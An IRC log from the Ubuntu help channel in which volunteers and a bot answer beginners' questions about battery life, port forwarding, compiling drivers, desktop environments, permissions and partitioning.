[11:36] <xtknight> dauoalagio2: but it's a last resort
[11:36] <ubotu> For multimedia issues, this page has useful information: https://help.ubuntu.com/community/RestrictedFormats - See also http://help.ubuntu.com/ubuntu/desktopguide/C/common-tasks-chap.html - But please use free formats if you can: https://help.ubuntu.com/community/FreeFormats
[11:36] <dauoalagio2> xtknight, i can lower my brightness from my keyboad haha
[11:36] <agws> variant- when I go to 127.0.0.1:8080 I get the Index of/
[11:36] <dauoalagio2> xtknight, what do you mean by tickless
[11:37] <xtknight> dauoalagio2: i mean the kernel doesn't fire interrupts every second so it saves power
[11:37] <h00t> hello i've mistakenly deleted my Trash directory but when i put it back it won't work properly, apparently there were some subdirectories in it required for it's functioning ... what can i do ... how do i recreate it
[11:37] <rasputnik> dauoalagio2: don't worry about it. install powernowd, that will help your battery life.
[11:37] <variant> agws: thats localhost, browse to your internet faceing ip address on the standard port (don't specify the port) and tell me what you get
[11:37] <xtknight> dauoalagio2: windows is a tickless kernel
[11:37] <agws> variant - but whe I try to go to my server via interntet with different machine i get ht modem instead of my index.
[11:37] <dauoalagio2> xtknight, it's at 58% and with only thirty minutes left
[11:37] <rasputnik> h00t: just delete it and next time you log in GNOME will make another
[11:37] <donamor> thanks daualagio2, i will go have a look
[11:37] <dauoalagio2> rasputnik: what is that?
[11:37] <Lcarsdata> I have been told I have to compile drivers for my usb wi-fi stick by myself. The pdf says that there is a MAKEFILE, it says to just type 'make' and it will be installed. This doesn't work and bash just tells me make is not installed. What am I doing wrong?
[11:37] <dauoalagio2> donamor: what?
[11:37] <FearMoth> does ubuntu server come with any firewall set up to block incoming connections? I can't connect to my computer from outside my LAN, just wondering if it's a crappy router or a firewall on the server
[11:38] <xtknight> dauoalagio2: i really do suggest the frequency scaling and reduction of lcd brightness.  those should help greatly.  also make sure your HD isnt being accessed a ton, that drains it
[11:38] <h00t> rasputnik, thanx i will try it
[11:38] <dauoalagio2> xtknight: i see...sounds dangerous
[11:38] <variant> agws: you get the modem your using because it is "in front" of your computer (its like a chain of comunication, internet > modem > computer)
[11:38] <h00t> rasputnik, but it's xfce .. you think it'll work
[11:38] <dauoalagio2> xtknight: frequency scaling?
[11:38] <xtknight> dauoalagio2: powernowd
[11:38] <rasputnik> h00t: only one way to find out
[11:38] <donamor> daualagio2. did you just direct me to a webpage about fixing audio? or have lost the plot?
[11:38] <Pelo> dauoalagio2,   this might explain what you get  http://www.ubuntuforums.org/showthread.php?t=301655&highlight=battery+life
[11:38] <dauoalagio2> xtknight, okay i look it up
[11:38] <h00t> ok ... let's do it
[11:38] <xtknight> dauoalagio2: that is, the CPU slowing itself down when it is not needed
[11:38] <variant> agws: you need to tell your modem to  pass the messages down that chain to your computer _instead_ of answering the message it's self, do you understand?
[11:38] <train> whats the popular osx rip of dock
 I have been told I have to compile drivers for my usb wi-fi stick by myself. The pdf says that there is a MAKEFILE, it says to just type 'make' and it will be installed. This doesn't work and bash just tells me make is not installed. What am I doing wrong?
[11:39] <xtknight> dauoalagio2: it's like your car accelerating at full when it could just be idling, waste of gas though perhaps a horrible analogy
[11:39] <progek> Hi room, I'm trying to make it easier for my girlfriend to format her ipod (not using any tools) I wrote a script which works fine and I made it executable. Only problem is she needs to become a root user before running the script. How can I force the script to ignore this? For example, the script first calls umount on /dev/sda1 then calls mkfs -t vfat /dev/sda1 but in order to do this she needs to be root
[11:39] <mbernat> Hi all.
[11:39] <agws> variant - how do I do that?
[11:39] <erUSUL> Lcarsdata: install build-essential
[11:39] <dauoalagio2> xtknight, haha i see...
[11:39] <xtknight> dauoalagio2: maybe disable search indexing if that makes it access the HD too much, also.  that can save power
[11:39] <Lcarsdata> how erUSUL
[11:39] <Lcarsdata> ?
[11:39] <rasputnik> Lcarsdata: if you 'apt-get install build-essential' you get make.
[11:39] <erUSUL> Lcarsdata: 'sudo apt-get install build-essential'
[11:39] <mbernat> Is there a way to use a Verizon Wireless VZACCESS PC5740 PCMCIA card on Edgy?
[11:39] <variant> agws: you typically would do that on a router, modems don't generally support port forwarding (the fact that it has a web interface leads me to beleive that it is infact a router)
[11:39] <agws> variant - when I go to http://127.0.0.1/ I get my Appachie indes
[11:39] <xtknight> progek: uhh mount the partition as 'user' i think
[11:39] <Lcarsdata> how can I apt-get... if I don't have an internet connection yet? erUSUL and rasputnik?
[11:40] <xtknight> Lcarsdata: if you have the ubuntu media you can use it
[11:40] <xtknight> Lcarsdata: and AFAIK ubuntu media has build-essential on it
[11:40] <Lcarsdata> I do, what do I do?
[11:40] <owen1> rasputnik, i am still struggling with the register issue, don't leave (-:
[11:40] <progek> ok so disable auto mount and have the script mount manually as a user?
[11:40] <rasputnik> agws: yes, 127.0.0.1 is 'localhost' - a special ip address that is on every computer. but no-one else will be able to see it
[11:40] <xtknight> Lcarsdata: you do 'sudo apt-get install build-essential'
[11:40] <Lcarsdata> ok
[11:40] <dauoalagio2> xtknight, i see...this thread said that ubuntu may underestimate my power...so maybe i should leave it on even if it says i have like half a miute left
[11:40] <variant> agws: yes i know, 127.0.0.1 is localhost, if you picture the chain of comunication again, thats like that last link in the chain answering it's own question, 127.0.0.0 is called localhost
[11:40] <xtknight> dauoalagio2: hmm
[11:40] <rasputnik> owen1: just ask me a question! no-one is going to mind
[11:40] <variant> agws: open this webpage "www.whatismyip.com"
[11:40] <xtknight> dauoalagio2: i dont know, i havent used laptops with ubuntu much personally
[11:41] <variant> agws: that is the ip you need to browse to
[11:41] <ubuntu_noob> hello room
[11:41] <xtknight> dauoalagio2: i have a bit, and battery life seemed to be just fine
[11:41] <Lcarsdata> thanks xtknight, that appears to be working
[11:41] <dauoalagio2> xtknight, yeah this is my last..thanks for your support.  but you also recommend powernowd?
[11:41] <rasputnik> dauoalagio2: open your package manager and install powernowd. honest, that will help.
[11:41] <xtknight> not sure completely how to enable it
[11:41] <owen1> rasputnik, i am new to Linux(Ubuntu) and to ROR. i read some chapters from Agile ROR but havnt done anything yet.
[11:41] <xtknight> i guess it's powernowd
[11:41] <ubuntu_noob> is it necessary to install display driver for my ati cards ?
[11:41] <xtknight> i thought that was for AMD athlons only but i dont know
[11:41] <ubuntu> il me faut msn
[11:41] <ubuntu> commen faire
[11:42] <dauoalagio2> rasputnik: i am
[11:42] <xtknight> i thought you needed some 'userspace governor' for the intel chips
[11:42] <rasputnik> owen1: so what, you just want to install rails on ubuntu?
[11:42] <ubuntu> pour linux
[11:42] <owen1> rasputnik, what tools/best practices do u use?
[11:42] <mbernat> ubuntu: #ubuntu-fr, svp.
[11:42] <agws> variant - I have 3 machines on a HUB and they all show the same IP, when I try connecting to that ip I get the modem page
[11:42] <erUSUL> !fr | ubuntu
[11:42] <sabiancra> Temps cannot be colder than absolute 0. (-459.67F)
[11:42] <ubotu> ubuntu: Allez a #ubuntu-fr ou #kubuntu-fr pour de l'aide et de la discussion en francais.
[11:42] <owen1> rasputnik, i already installed rails, ruby and mysql.
[11:42] <dauoalagio2> rasputnik: it says it's installed already
[11:42] <owen1>  says it's installed already
[11:42] <owen1>  says it's installed already
[11:42] <owen1>  says it's installed already
[11:42] <rasputnik> owen1: sweet. find an editor you like and off you go :)
[11:42] <xtknight> !repeat | owen1
[11:42] <GodSyn> Pelo:  you are the one that was assisting me /grub, yes?
[11:42] <ubotu> owen1: Don't feel ignored and repeat your question quickly; if nobody knows your answer, nobody will answer you. You can search https://help.ubuntu.com or http://wiki.ubuntu.com while you wait. Also see !patience
[11:42] <kbrooks> is there a router channel?
[11:42] <GodSyn> *with grub
[11:43] <donamor> anyone know any resource to get sound going? my sound card not working on a m2n mother board
[11:43] <variant> agws: basically, you need to log into your router (it's what you call the modem, it must be i think given the situation) and "forward" the port (tell it to forward the message instead of responding to it) it needs to forward to your LOCAL ip address, i realise it's very confusing but this is the only way to ddo it, perhaps i'm not explaining well enough
[11:43] <xtknight> kbrooks: i dont know maybe #networking or something, but what is your question
[11:43] <owen1> sorry, i have issues with this irssi,......
[11:43] <erUSUL> !sound | donamor
[11:43] <ubotu> donamor: If you're having problems with sound, first ensure ALSA is selected, by double clicking on the volume control, then File -> Change Device (ALSA Mixer). If that fails, see https://help.ubuntu.com/community/Sound - https://help.ubuntu.com/community/SoundTroubleshooting - http://alsa.opensrc.org/index.php?page=DmixPlugin - For playing audio files, see !Players and !MP3
[11:43] <donamor> cheers ubutu
[11:43] <owen1> rasputnik, sorry for the messages, it was a mistake.
[11:43] <variant> agws: anyway, i am happy to help tomorrow if you still need it (my email is mr in te grit y at g ma il DOT com
[11:43] <xtknight> !thanks | donamor
[11:43] <ubotu> donamor: You're welcome! But keep in mind I'm just a bot ;-)
[11:43] <Assimilator> quick question does ubuntu have both gonme and KDE ?
[11:43] <variant> agws: but right now i'm going to bed
[11:43] <xtknight> Assimilator: Ubuntu and Kubuntu, respectively
[11:43] <owen1> rasputnik, what web server do u use?
[11:43] <rasputnik> owen1: that was pretty obvious (unless you're a parrot)
[11:44] <kbrooks> xtknight, OK basically I want to open up my wireless, but allow certain computers to be secured.
[11:44] <Lcarsdata> what is Idmod?
[11:44] <c0nv1ct> Assimilator: it can have both if you want
[11:44] <Lcarsdata> Ismod*
[11:44] <Assimilator> ok so one or the other ?
[11:44] <xtknight> Lcarsdata: lsmod?
[11:44] <xNinja> hi...
[11:44] <kikkymonk> who is sudo?
[11:44] <owen1> rasputnik, apache/webrick?
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[11:44] <rasputnik> owen1: mongrel. it's nice and fast and you can stick apache in front of it when you need ssl or similar
[11:44] <agws> variant - thanks for your help
[11:44] <xtknight> Lcarsdata: it lists the modules you currently have loaded on your system
[11:44] <Assimilator> oh can have both
[11:44] <Lcarsdata> yes xtknight
[11:44] <variant> agws: you got those messages?
[11:44] <xNinja> which is the nicer Desktop gui...other than kde/gnome ?
[11:44] <variant> agws: np, goodnight. email me if you need to tomorrow, will be up early :)
[11:44] <owen1> rasputnik, got it. what IDE?
[11:44] <Assimilator> wich is better for a noob ?
[11:44] <rasputnik> owen1: webrick is very very slow. mongrel is the current best practice server
[11:44] <Lcarsdata> dw xtknight
[11:44] <c0nv1ct> Assimilator: you can install Ubuntu, then do apt-get install kubuntu-desktop, and have a complete kde and gnome install
[11:45] <Lcarsdata> typo
[11:45] <dauoalagio2> what's the recommended sound driver a Conexant HD audio? ALSA, OSS..
[11:45] <lufis> xNinja: there's a lot of them. try xfce
[11:45] <xtknight> kbrooks: um you mean restrict certain MACs?
[11:45] <mbernat> Is there a way to use a Verizon Wireless VZACCESS PC5740 PCMCIA card on Edgy?
[11:45] <lufis> xNinja: oops, i misunderstood
[11:45] <rasputnik> owen1: don't use an IDE. I'm a vi man. ./script/console is great for debugging
[11:45] <xtknight> kbrooks: is this a hardware router question or a linux router question?
[11:45] <kbrooks> xtknight, former
[11:45] <lufis> xNinja: it really depends on what you prefer. i would say it's a personal judgment
[11:45] <xNinja> lufis, can you give me a names ?
[11:45] <variant> mbernat: is that the thing that you can use to connect to verizon from anywhere kinda thin with mobile phone pcmcia card?
[11:45] <variant> mbernat: if so, i know some othe rpeople that use it
[11:45] <xtknight> kbrooks: ok this isn't the right channel, probably.  try a more general computing channel if you don't get the help you want here
[11:45] <owen1> rasputnik, so u use VIM? what about refactor or some code generation?
[11:46] <variant> anyway, ii'm gone
[11:46] <killermach_> I'm installing ubuntu on a USB memstick, but I'm having problems doing "mount -t proc /media/USB/proc"  (doesn't work) and also cannot "chroot /media/USB" (also no work)
[11:46] <kbrooks> xtknight, No. I want to *open up my wireless*, but I want certain computers to have encrypted connections.
[11:46] <mbernat> variant: On Ubuntu?
[11:46] <variant> mbernat: yes
[11:46] <rasputnik> owen1: if you want a rails chatroom, try #rubyonrails - it's very busy, but that's where the guys who use it for a living are.
[11:46] <variant> mbernat: not sure it's exactly the same thing though
[11:46] <Lcarsdata> how can I make my terminal have a black background
[11:46] <mbernat> variant: COuld you send them my way?  This is irritating.
[11:46] <owen1> ok, thanks
[11:46] <Assimilator> wich desktop is better for a noob ?
[11:46] <xtknight> kbrooks: it would obviously depend which router you had and which software that was on it, but that's all i know.  i dont know which routers allow that
[11:46] <acemo> My cpu can jump from 150 to 1000mhz, but its max speed is 1666mhz, can anyone help me fix this?
[11:46] <owen1> rasputnik, 10x
[11:46] <tonci> duo to some programm which crashed i dont see my panels anymore on gnome. i can still open my console and start programs. what programm do i have to run to get my panels back without restarting?
[11:46] <variant> mbernat: sorry, don't have contact
[11:46] <mbernat> acemo: Buy a new CPU?
[11:46] <rasputnik> owen1: refactoring isn't a function of the editor. I do TDD so I do small changes at a time.
[11:46] <mbernat> variant: Crap.
[11:46] <bigslam> Hi, i'm trying to installed ubuntu on a laptop p3. I Place the cd in pick Option 1 Install or Start Ubuntu. It comes up with this Ubunto Logo and a loading bar. After waiting about 5-10 mins of it loading it then comes upto a black screen with a underscore line "
[11:46] <pike_> mbernat:
[11:46] <lufis> Assimilator: gnome probably. less configuration needed than kde. but you should try both, see which one you like
[11:46] <Pelo> Assimilator,  gnome will do you right
[11:46] <xtknight> tonci: gnome-panel
[11:47] <kikkymonk> Where can i get a list of basic terminal commands?
[11:47] <mbernat> pike_: ?
[11:47] <bigslam> "_" like that and just blinks
[11:47] <bigslam> any idea?
[11:47] <xtknight> !terminal
[11:47] <acacianadept> does anyone know why programs and things like 'shut down' don't work sometimes?  last night and earlier today I couldn't shut down the computer the normal way, and the only thing that would run was firefox; not even the terminal would run
[11:47] <ubotu> The linux terminal or command-line interface is very powerful. Open a terminal via Applications -> Accessories -> Terminal (Gnome) or K-menu -> System -> Konsole (KDE).  Manuals: https://help.ubuntu.com/community/BasicCommands
[11:47] <rasputnik> kikkymonk: hit tab twice
[11:47] <erUSUL> !cli | kikkymonk
[11:47] <ubotu> kikkymonk: please see above
[11:47] <xtknight> !terminal | kikkymonk
[11:47] <ubotu> kikkymonk: please see above
[11:47] <xtknight> :O
[11:47] <kikkymonk> yikes
[11:47] <rasputnik> hehe
[11:47] <acemo> mbernat: bad suggestion, the cpu aint defect
[11:47] <Assimilator> does the DVD have the full repository ?
[11:47] <mbernat> acemo: Ohh.
[11:47] <AlexC_> Assimilator: nope
[11:48] <AlexC_> Assimilator: there is a lot more than 4gb worth in the Ubuntu repo's
[11:48] <xtknight> does the dvd have everything from the basic repos (excluding universe/multiverse)?
[11:48] <tonci> xtknight: thx worked altough its just crashing and generating bugreports. guess i have to restart
[11:48] <Assimilator> no matter
[11:48] <xtknight> tonci: yea probably
[11:48] <AlexC_> xtknight: not sure actually,
[11:48] <pike_> mbernat: in might help..dapper: http://ubuntuforums.org/archive/index.php/t-336695.html
[11:48] <Assimilator> will version 6.10 upgrade to 7.04 once a stable rls is avaliable
[11:49] <xtknight> Assimilator: not automatically
[11:49] <Pelo> Assimilator,  not automaticaly
[11:49] <AlexC_> Assimilator: if you tell it to
[11:49] <Assimilator> nice :-)
[11:49] <xtknight> Assimilator: you will have to invoke update-manager
[11:49] <Flannel> Assimilator: it'll let you know in update-manager that a new release is available
[11:50] <acacianadept> would anyone know why ubuntu would crash such that only firefox still works and nothing else, including terminal and 'shut down'?
[11:51] <xtknight> acacianadept: lack of memory?  forceful uninstall of something?  have you tried rebooting?
[11:51] <dauoalagio2> xtknight, do you think that screensavers will help my cause?
[11:51] <FearMoth> with Ubuntu server, is there a firewall preconfigured?
[11:51] <acacianadept> doubtful, no, and unplugging works
[11:51] <MindRiot> Hey i just got Ubuntu Edgy Eft 6.10 installed, did the updates that it said to do, Now I am in the Synaptic Package Manger do i need to get the nvidia-glx package.? I have a Nvidia Geforce 6800 Go in my Laptop Dell Inspiron 9300
[11:51] <rasputnik> FearMoth: no
[11:52] <pike_> FearMoth: no. do 'sudo iptables -L' everything will say accept
[11:52] <xtknight> dauoalagio2: i doubt it.  screensavers often use cpu.  but if your lcd blacks out when its not in use that will help you immensely.  in fact i would disable cpu hogging screensavers and use dpms (monitor blanking) instead
[11:52] <finalbeta> acacianadept: try changing screens and go back, cntrl-F5, cntrl-F7
[11:52] <Flannel> !firewall | FearMoth
[11:52] <ubotu> FearMoth: Ubuntu, like any other linux distribution, has firewall capabilities built-in. The firewall is managed using the 'iptables' command (see https://help.ubuntu.com/community/IptablesHowTo), or GUI applications such as Firestarter (Gnome) or Guarddog (KDE).
[11:52] <FearMoth> thanks
[11:52] <finalbeta> acacianadept: it might be that the cursor focus is stuck, I had it before on my dell inspiron.
[11:52] <xtknight> dauoalagio2: monitor blanking also helps the lcd rest more
[11:52] <rasputnik> !pastebin
[11:52] <ubotu> pastebin is a service to post large texts so you don't flood the channel. The Ubuntu pastebin is at http://paste.ubuntu-nl.org (be sure to give the URL of your paste - see also the #ubuntu channel topic)
[11:52] <dauoalagio2> xtknight, how would i go about doing that?  because i like black screens over screensavers, edgy got rid over my favourite screen saver :0
[11:53] <kuzmaster> hey all
[11:53] <MindRiot> ?
[11:53] <kernel_geek> run this
[11:53] <kernel_geek> xscreensaver-demo
[11:53] <xtknight> dauoalagio2: umm... it's called DPMS and i believe it's an option in the X.org config.  and i believe it's enabled automatically?
[11:53] <kernel_geek> that will change your settings
[11:53] <acacianadept> finalbeta: there's no noticeable effect right now.  could be a memory problem, though; I don't think I gave ubuntu a big enough partition
[11:53] <dauoalagio2> Mindriot, if your display works why are you trying to install a driver
[11:53] <AlexC_> !nvidia | MindRiot
[11:53] <ubotu> MindRiot: To install the Ati/NVidia drivers for your video card, see https://help.ubuntu.com/community/BinaryDriverHowto
[11:53] <dauoalagio2> xtknight, not sure lemme look
[11:53] <MindRiot> Dauoalagio2 Beryl wont
[11:53] <progek> How do scripts handle permissions? If a script needs to perform actions that require root access how can the script prompt for the password? If I add something like sudo -s in the script, it prompts but wont continue after that point
[11:53] <dauoalagio2> oh okay
[11:54] <kuzmaster> how can i change the permissions of a folder and its contents so i can  edit and delete and modify and all that?
[11:54] <kuzmaster> is it somthing like chmod or... chroot?
[11:54] <xtknight> kuzmaster: generally you'd make yourself the owner of it...
[11:54] <AlexC_> !sudo | kuzmaster
[11:54] <ubotu> kuzmaster: sudo is a command to run programs with superuser privileges ("root"). Look at https://help.ubuntu.com/community/RootSudo for all information.
[11:54] <progek> kuzmaster maybe chmod 777 ?
[11:54] <MindRiot> i did this command glxinfo | grep direct and it said No to direct rending and this readme i was looking at last night said it should say yes
[11:54] <tonci> i tried to extract a iso image through the context menu which resulted in a crash. problem even though i restarted my gnome-panel is still crashing and generating bugreports. what can i do?
[11:54] <MindRiot> So Dauoalagio would that be correct?
[11:54] <AlexC_> kuzmaster: what do you want to change the permission of?
[11:54] <Flannel> kuzmaster, progek, changing permissions is a BAD thing.
[11:54] <kuzmaster> /var/www
[11:54] <dauoalagio2> xtknight, there is a screensaver that is just "Blank Screen"
[11:54] <kuzmaster> for apache
[11:54] <xtknight> dauoalagio2: ok use that
[11:54] <Pelo> kuzmaster,   gksu nautilus , will let you work withe files in the folder if you need to
[11:55] <progek> kuzmaster why do you need to change apache permissions?
[11:55] <dauoalagio2> MindRiot, umm updating your nvidia-glx will be okay if you use XGL read a guide
[11:55] <xtknight> dauoalagio2: DPMS may save more power though
[11:55] <xtknight> dauoalagio2: in fact i dont even know if blank screen saves ANY power
[11:55] <kuzmaster> so i can copy files out of there etc...
[11:55] <MindRiot> well befor when i have done this its never worked and i was sad  inside hehe
[11:55] <dauoalagio2> xtknight, okay...how can i get this DPMS
[11:55] <Flannel> kuzmaster: use sudo to copy them
[11:55] <xtknight> kuzmaster: sudo chown -R myuser:myuser /folder/you/desire     OR   to have someone else own it and get write perms, sudo chmod a+w -R /folder/you/desire
[11:55] <progek> sudo something like sudo cp source destination
[11:55] <kuzmaster> eh, but thats cli...
[11:55] <Flannel> kuzmaster: `gksu nautilus` then
[11:56] <kuzmaster> thanx xtknight
[11:56] <dauoalagio2> MindRiot, envy can also help you out
[11:56] <xtknight> kuzmaster: but again be careful which folder you ues it on.  you should not get ownership of any folder other than /home/youruser on a linux system
[11:56] <killermach_> how come I cannot chroot in ubuntu?
[11:56] <Flannel> xtknight, kuzmaster, arbitrarily changing permissions on folders because you can't edit them is a BAD THING.  It's only useful if you're looking to break your system.
[11:56] <AlexC_> Flannel: doesn't that assume he's on KDE?
[11:56] <xtknight> killermach_: you can you're just not using it right
[11:56] <Flannel> AlexC_: gksu is gnome, kdesu is KDE
[11:56] <MindRiot> Dauoalagio2: i was hoping envy would run but i keep getting  Error: Dependency is not satisfiable: module-assistant and thats from envy_0.9.1-0ubuntu3_all.deb
[11:56] <kuzmaster> flannel, i dont really care...
[11:56] <xtknight> kuzmaster: well what folder is it
[11:56] <acacianadept> can I resize partitions? I already have ubuntu installed and there doesn't seem to be a howto for it
[11:57] <dauoalagio2> MindRiot, try solving that?
[11:57] <xtknight> kuzmaster: if it's something under your home directory it doesn't matter.  otherwise it's just really poor practice, AND it can make programs malfunction
[11:57] <kuzmaster> /var/www
[11:57] <SeveredCross> MindRiot: Do sudo apt-get install module-assistant
[11:57] <Flannel> acacianadept: You'll need a liveCD
[11:57] <killermach_> xtknight: I figured.. but I'm reading from an O'reilly Ubuntu hacks, since my other attempts at installing to usb failed
[11:57] <SeveredCross> You may have to enable the Multiverse/Universe repositories.
[11:57] <MindRiot> ok
[11:57] <xtknight> kuzmaster: if you give sudo 777 permissions, your whole system is essentially broken.  if you give yourself all permissions to /usr/bin, youve again broken your system.  ive done it.
[11:57] <killermach_> xtknight: this has more information that make more sense
[11:57] <acacianadept> flannel: so I'll have to re-install ubuntu then?
[11:58] <xtknight> kuzmaster: ok /var/www i guess my stance on that is 'who cares'
[11:58] <kuzmaster> xtknight, yeah, ive done that before :P
[11:58] <Flannel> acacianadept: no.  You just need a liveCD.  You can't resize partitions while you're using them (except through LVM)
[11:58] <Assimilator> is there a torrent link for the DVD package?
[11:58] <progek> flannel, can he used gparted?
[11:58] <killermach_> xtknight: I su to root then try to mount proc to the USB partition
[11:58] <dauoalagio2> xtknight, it looks like DPMS is installed already
[11:58] <progek> use^
[11:58] <AlexC_> acacianadept: boot into LiveCD to use modify partitions, is what Flannel is saying
[11:58] <xtknight> dauoalagio2: probably...just see what happens the next time you leave your system for an extended period of time
[11:58] <MindRiot> SeveredCross: Reading package lists...Done  Building dependecy tree  reading staate information done E: couldnt find package module
[11:58] <acacianadept> alright, thanks
[11:58] <AlexC_> acacianadept: after you've modifiyed partitions, boot into Ubuntu as normal, no need to re-install
[11:58] <dauoalagio2> xtknight, sounds good thanks
[11:59] <xtknight> killermach_: sorry i dont remember helping you.  i wouldn't mind but i'd need to know what's going on
[11:59] <jrib> Assimilator: cdimages.ubuntu.com
[11:59] <kikkymonk> Why is my fresh install of ubuntu slow?
[11:59] <SeveredCross> Hmm...
[11:59] <Assimilator> ta
[11:59] <SeveredCross> Sounds like you need more repositories MindRiot.
[11:59] <dauoalagio2> xtknight, what the heck my system just bumped it's time from fifteen minutes to 29
[11:59] <xtknight> dauoalagio2: i dont know :O
[11:59] <SeveredCross> Do gksudo gedit /etc/apt/sources.list
[11:59] <killermach_> xtknight: you haven't helped before now.. and only confirmed that I should be able to chroot
[11:59] <h1st0> dauoalagio2: internet time update?
[11:59] <AlexC_> kikkymonk: there could be so many things that could make it slow. You're better of being more specific
[11:59] <xtknight> killermach_: ahh alright gotcha
[11:59] <SeveredCross> And uncomment (remove #) from the universe and multiverse repositories, then apt-get install envy should be fine (you shouldn't have to use the deb).
[11:59] <Lcarsdata> dauoalagio2: it's 2038 come early :P
[11:59] <SeveredCross> I think that worked for me.
[12:00] <killermach_> xtknight: I have ubuntu 6.1 installed on my laptop.. been using for weeks
[12:00] <Lcarsdata> !2038